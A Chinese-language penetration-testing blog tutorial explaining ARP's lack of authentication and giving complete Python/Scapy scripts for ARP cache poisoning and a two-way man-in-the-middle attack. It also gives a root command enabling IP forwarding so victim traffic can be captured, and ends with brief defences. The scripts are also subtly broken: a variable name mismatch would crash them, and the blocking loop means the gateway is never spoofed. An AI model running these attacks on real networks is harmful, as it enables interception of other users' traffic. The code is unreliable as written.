书接上文
菜鸟渗透日记32---python渗透测试编程之网络嗅探
目录
网络数据的欺骗
Arp的原理和缺陷
完整的ARP欺骗程序
中间人欺骗的原理
完整的中间人欺骗程序
防御措施
在ARP中,arp的主要使用场景是以太网内的设备交换机不能识别ip地址,只能识别硬件地址,这时候以太网内的设备发往特定硬件的数据包,就需要利用arp进行转换。
这里利用一个arp表进行讲解
如果本机现在需要和224.0.0.22进行通信,这时候就先查找表项,当找到这一项的时候,他就会给数据包添加硬件地址,然后交给交换机,由它发送给目的地。
但是如果arp表中没有我们要访问的ip地址,这时候就需要使用arp协议。首先主机需要发送一个ARP请求,内容大概是”我的IP地址是,我的MAC地址是,某ip地址的主机在不在,我要和你通信,请告诉我你的物理地址,收到请回答。“这个数据包是用广播形式发送给网段中的所有设备的,不过只有目标主机会给回应。内容好比是”我是IP地址的主机,我的MAC地址是XXX“。解析完成就会把这个表添加到arp表中。但是有一个致命的缺陷,整个过程并没有认证机制,也就是说如果一台主机收到arp请求数据包,并没有对这个数据包进行判别,无论这个数据包是否真的来自目标主机,都会将其添加到ARP表中。
主要就是在同一个网段内,更改目标主机的网关,使其所有的流量都走攻击机,详细教程可以查看
arp欺骗原理
现在利用python写一个能够实现ARP欺骗的程序。
这个程序的核心就是需要构造一个如下的数据包
源IP地址:192.168.65.2(网关的IP地址)
源硬件地址:00:50:56:ee:9d:29
目标IP地址:192.168.65.142
目标的MAC地址:00:0c:29:fd:f6:ce
这里利用Scapy库完成发包的任务。
构造包结构如下
sendp(Ether(dst=dstMAC,src=srcMAC)/ARP(psrc=gatewayIP,pdst=victimIP))
下面这种写法也是可以的。kaliLinux会自动补齐dst、src的值。
sendp(Ether()/ARP(psrc=gatewayIP,pdst=victimIP))
现在编写一个
import sys
from scapy.all import *
if len(sys.argv) != 3:
print sys.argv[0] + ":"
sys.exit(1)
victimIp = sys.argv[1]
gatewayIP=sys.argv[2]
packet=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
while 1:
sendp(packet)
time.sleep(10)
print packet.show()
执行结果后,在目标主机的缓存表中查看,缓存表已经发生了改变。
如果要执行一个中间人欺骗的话,那么就需要同时对目标主机和网关都进行欺骗。
中间人欺骗的原理就是让目标主机误认为这个是攻击机是网关,同时让网关误认为攻击机才是主机。
根据这样的情况,就需要同时对目标主机和网关发送欺骗数据包。用来欺骗目标主机的数据包如下:
attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
用来欺骗网关的数据包如下:
attackGateway=Ether()/ARP(psrc=victimIP,pdst=gatewayIP)
考虑到ARP缓存比欧的生命周期,需要不断地对两个主机进行欺骗,这里使用循环发送来实现功能,sendp本身就有循环发送的功能,使用inter指定时间,使用loop=1实现循环发送。
sendp(attackTarget,inter=1,loop=1)
其完整代码如下
import sys
from scapy.all import *
if len(sys.argv) != 3:
print sys.argv[0] + ":"
sys.exit(1)
victimIp = sys.argv[1]
gatewayIP=sys.argv[2]
attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
attackGateway=Ether()/ARP(psrc=victimIP,pdst=gatewayIP)
sendp(attackTarget,inter=1,loop=1)
sendp(attackGateway,inter=1,loop=1)
当然可以进一步使用线程来完成这个任务,这里不在考虑。
那么当完成后,存在一个非常明显的问题,就是被欺骗的机子发送的数据包没有得到回应。所以攻击的最后还需要开启一个转发的功能。开启的方法如下所示
root@lee:~# echo 1 >>/proc/sys/net/ipv4/ip_forward
这样攻击机就可以正常上网,我们这里也就可以抓包了。
其防御方法也挺多,最理想的防制方法是网上内的每台计算机的ARP一律改用静态的方式,不过这在大型的网上是不可行的,因为需要经常更新每台计算机的ARP表。
另外一种方法,例如DHCP snooping,网上设备可借由DHCP保留网上上各计算机的MAC地址,在伪造的ARP数据包发出时即可侦测到。此方式已在一些厂牌的网上设备产品所支持。